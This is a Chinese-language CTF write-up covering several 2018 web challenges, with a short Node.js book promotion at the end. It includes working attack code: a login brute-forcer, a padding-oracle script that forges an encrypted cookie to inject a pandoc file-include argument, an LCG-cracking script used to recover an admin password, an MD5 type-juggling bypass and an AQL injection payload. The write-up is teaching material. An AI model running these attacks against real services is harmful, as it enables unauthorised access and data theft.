内容简介：Login 1的代码如下:我在此将其简化一下，方便本地运行。运行结果为:
Login 1的代码如下:
var http = require('http');
const crypto = require('crypto');
var url = require('url');
var fs = require('fs');
var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"];
function generatePart1() {
return
{
x: crypto[_0x86d1[1]](8)
}[x].toString(_0x86d1[0]);
}
function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
passwd = generatePart1() + generatePart2();
var url_content = url.parse(req.url, true);
if (passwd == url_content.query.passwd) {
res.write(fs.readFileSync('flag.txt', 'utf8'));
} else {
res.write('<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>');
}
res.end();
}).listen(8888);
我在此将其简化一下，方便本地运行。
const crypto = require('crypto');
var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"];
function generatePart1() {
return
{
x: crypto[_0x86d1[1]](8)
}[x].toString(_0x86d1[0]);
}
function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
passwd = generatePart1() + generatePart2();
console.log(passwd)
运行结果为:
zeroyu@zeros ~/Desktop node login.js undefined1337
提交 undefined1337 得到flag的第一部分 flag{W0w_1_gu3ss_th1s
Login 2的代码如下，可以看出是md5的弱类型比较，只要求md5之后的值开头是0e即可，提交 s878926199a 得到下一部分的flag _t0_be_4_pr3tty_
<?php
include("flag.php");
if (isset($_GET['passwd'])) {
if (hash("md5", $_GET['passwd']) == '0e514198428367523082236389979035') {
echo $flag;
}
} else {
echo '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>';
}
?>
Login 3部分代码如下
from flask import Flask, request, send_from_directory
app = Flask(__name__)
passwd = open("/opt/passwd.txt").read()
flag = open("/opt/flag.txt").read()
@app.route('/')
def index():
userpw = request.args.get("passwd", "")
if userpw == passwd:
return flag, 200, {"Content-Type": "text/plain"}
else:
return '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>'
if __name__ == '__main__':
assert(len(passwd) == 3)
assert(passwd.isdigit())
app.run()
关键在于一下两行:
assert(len(passwd) == 3) assert(passwd.isdigit())
这两行判断了从 /opt/passwd.txt 中读出的内容的长度是否是3，类型是否是数字。一般我们可能会字节考虑 100-999 ,但是要知道 000、009 这些长度也是3，也是数字类型。所以写爆破脚本如下:
import requests
for i in range(0, 1000):
url = "http://login3.uni.hctf.fun/?passwd=%03d" % i
r = requests.get(url).content
s = """<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>"""
if(s != r.decode('utf-8')):
print(i)
break
最终爆破得到结果:
zeroyu@zeros ~/Desktop python testlogin.py 7
提交 007 得到最后一部分flag 4_d4mn_l0ng_fl4g}
Converter
target: http://converter.uni.hctf.fun/
分析之后，可以看到vals的长度是16的倍数
content=test vals=abe356a36f821925d21c83ed298f35136ba2089bcd4961c4af60426f0e392113a74bc8e5dbcc77aa244833318636d73a0e1c9a6072e40b115743d5f0dbbbc7b9 128个字符 content=testtest vals=3594a122720368f402eca150c2d85b82634027d10b41145c06a4396987ff1f4b53d9cfc2d3bd4a3f5a73b4c00bfe158e928d52d868a32ff949a456ab2834fe696435316fd2227396112b0d65fb104961 160个字符 content=testtestte vals=ea63f05d45c98e48208261d6e2d2a5d336d657d0ca1b5ca41bf0c8bade5f2db59724e76bdfca4bdefaae182cd1246451d9d2f0b79c867eecd90c1c0fd12f65ff74d174b9ff0f6f97bbfc8c3be536f265 160个字符
比如以下这组数据:
content=t vals=a7cef9264688e0abc6717d25c3682ff2452e6ab9d98f6d0f7203b5fb2512d4982189f0f4a0748005a19d93166c15f12855ccbeba2bd7fb8c9283c969df631551
我们修改vals的第一位后发送请求，得到一个错误 JSONDecodeError: Expecting value: line 1 column 1 (char 0) ，修改最后一位发送请求，得到一个 ValueError: Invalid padding bytes. 。由以上两点可以看出，cookie中包含 AES-CBC-encrypted JSON 数据。所以在这种分组加密中我们可以联想到Padding Oracle攻击，关于这种攻击可以参考:
接下来我们使用脚本将cookie值进行解密:
# you need get padding_oracle from there
# https://github.com/pspaul/padding-oracle
# you need python3
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
print('Plaintext: {}'.format(plain))
解密后cookie的内容为 {"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"} ，一般这种文档转换使用的是 pandoc ，此处的 f 是控制输入格式， c 是我们输入的内容， t 是控制输出格式。
由题目可知我们要读取flag.txt中的内容，所以我们使用pandoc的 -A 参数，把flag.txt的内容包含出来。
-A FILE, –include-after-body=FILE Include contents of FILE, verbatim, at the end of the document body (before the tag in HTML, or the \end{document} command in LaTeX). This option can be used repeatedly to include multiple files. They will be included in the order specified. Implies –standalone.
要注意此处前端好像有白名单过滤，直接代入我们的参数话得不到我们想要的结果。
所以我在抓包之后修改cookie的值。cookie的生成脚本如下所示。
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain = b'{"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}'
plain_new = b'{"f": "markdown -A flag.txt", "c": "D", "t": "html4"}'
cipher_new = o.craft(cipher, plain, plain_new)
print('Modified: {}'.format(cipher_new))
最终得到flag
LCG and the X
打开主页看到如下描述，最后一句 Save secret messages prefixed with "flag{" (which is always handy...)
Hello!
This is the website for our on-campus fanclub of the band LCG and the X!
Everyone can signup for the club to:
Get the latest LCG news
Communicate with other fans
Save secret messages prefixed with "flag{" (which is always handy...)
接下我们进行注册登录，注册后可以看到如下信息：
User Number: 34 Password: 4391179335210642486020975422279755323
bitmap图片的地址为 http://lcgandthex.uni.hctf.fun/static/pics/34.bmp ，bitmap图片名称前面的序号和我们用户名的相同，所以如果我们更改图片前面的序号还可以下载其他的bitmap图片。而这个bitmap图片还是作为password recovery token来使用的，所以我们就可以利用它来重置别的账户的密码。
接下来我们进行登录，登陆后可以看到这样的信息。
News Website Launch I just took the website online. I wrote it myself! I also just signed up to make sure the signup process works. Then I created a secret flag, which worked as well! Flag Storage Maintenance Because of the new data protection laws in europe I decided to temporarily disable the secret flag storage... I hope i can bring it back up soon...
可以看到对于我们这个账户而言，密码是被隐藏的，因此可能我们需要登录管理员的账户进行查看？那么管理员有可能是序号为1的那一个？那么我们就要考虑怎么去获取1号的密码了。因为这里的password recovery token没有地方去让我们使用，比赛结束后也有看别的战队是使用如下脚本分析了bitmap图片然后得到一些信息之后进行LCG破解的。
import math
import os
import sys
import imageio
if len(sys.argv) != 2:
print("Usage: %s file.bmp" % sys.argv[0])
sys.exit(1)
filename = sys.argv[1]
image = imageio.imread(filename)
out = 0
for line in image:
tmp = 0
for x in range(len(line)):
tmp <<= 1
tmp |= 1 if line[x] == 255 else 0
print("% 40d" % tmp)
对比两个用户bitmap图片中的信息可以发下现两者相差 313373133731337313373133731337
这里只截取前五行
34.bmp
10778143335877814333587781433348
8024293302815125776712035454147967229
8424888415969153255243735974754402615
3343897317520929957383430099400071436
12356584033995394658660863293223597252
35.bmp
11091516469609151646960915164685
9972138259316515878515303887207190382
7570417892854896822411051461517328212
16016475982551891670926030402121628733
9296242651229076123142121777120916609
之后再推算出一下值之后进行的攻击
m = 16285270385112413720426683811263350667 a = 313373133731337313373133731337 c = 123456789012345678901234567890
但是我们这里不这么干，密码是LCG生成的(因为题目本身就提示了LCG这个算法)，那么我们这里就属于不清楚a\c\m的值对LCG生成器进行攻击，那么连续注册几个账号，采集一下密码输入一下脚本就好了。着这里使用burp多重放几次数据包就可以了，不用次都去输信息注册。
User Number: 34 Password: 4391179335210642486020975422279755323 User Number: 35 Password: 10752978387235368639990800431243402580 User Number: 36 Password: 829507054147681073533941628943699170 User Number: 37 Password: 7191306106172407227503766637907346427 User Number: 38 Password: 13553105158197133381473591646870993684
import math
import functools
reduce = functools.reduce
gcd = math.gcd
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def modinv(b, n):
g, x, _ = egcd(b, n)
if g == 1:
return x % n
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
print('states', states)
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
print(crack_unknown_modulus([4391179335210642486020975422279755323,
10752978387235368639990800431243402580, 829507054147681073533941628943699170, 7191306106172407227503766637907346427, 13553105158197133381473591646870993684]))
# m = 1 # the "multiplier"
# c = 6361799052024726153969825008963647257 # the "increment"
# n = 16285270385112413720426683811263350667 # the "modulus"
class prng_lcg:
m = 1 # the "multiplier"
c = 6361799052024726153969825008963647257 # the "increment"
n = 16285270385112413720426683811263350667 # the "modulus"
def __init__(self, seed):
self.state = seed # the "seed"
def next(self):
self.state = (self.state * self.m + self.c) % self.n
return self.state
def prev(self):
self.state = (self.state - self.c) % self.n
return int(self.state)
#User Number: 46
#Password: 15591686419057701451952140284790119739
gen = prng_lcg(15591686419057701451952140284790119739)
num = 45
while num > 0:
p = gen.prev()
print(num, p)
if p == 4391179335210642486020975422279755323:
print('sanity check: working')
num -= 1
# 1 => 6160325624856057770563639672902954513
最后登录得到flag
PS:关于此处LCG攻击，你可以查看 《攻击线性同余生成器(LCG)》
H!pster Startup
主页代码里可以找到后台，所以就不用扫描了。
<!-- Main navigation -->
<ul class="main-nav nav navbar-nav navbar-right">
<li><a href="#home">Home</a></li>
<li><a href="#service">Services</a></li>
<!-- <li><a href="/admin">Admin-Panel</a></li> -->
</ul>
<!-- /Main navigation -->
后台测试发现是ArangoDB并且使用pyArango进行驱动程序。源码中存在如下内容，所以需要 _id 参数。
try :
collection = self.database[docJson["_id"].split("/")[0]]
except KeyError :
raise CreationError("result %d is not a valid Document. Try setting rawResults to True" % i)
最终的payload为:
user: ' || 1 RETURN {_id: u._id, role:'admin'} //
flag为
flag{1_l0v3_a_g00d_1nj3ct10n}
此处我在写note的时候，官方的题目已经关闭了，所以列出一些参考:
[P.W.N. CTF 2018] H!pster Startup Write-up (Web216)
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持 码农网
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Google御用網頁語言Node.js
郭家寶 / 佳魁資訊 / 2013-4-26 / NT 490
這是一本 Node.js 的入門教學，寫給想要學習 Node.js，但沒有任何系統的經驗的開發者。如果你聽說過 Node.js，並被它許多神奇的特性吸引，本書就是為你準備的。 透過閱讀本書，你可以對 Node.js 有全面的認識，學會如何用 Node.js 程式設計，了解事件驅動、非同步式 I/O 的程式設計模式，同時還可以了解一些使用JavaScript 進行函數式程式設計的方法。 ......一起来看看 《Google御用網頁語言Node.js》 这本书的介绍吧!
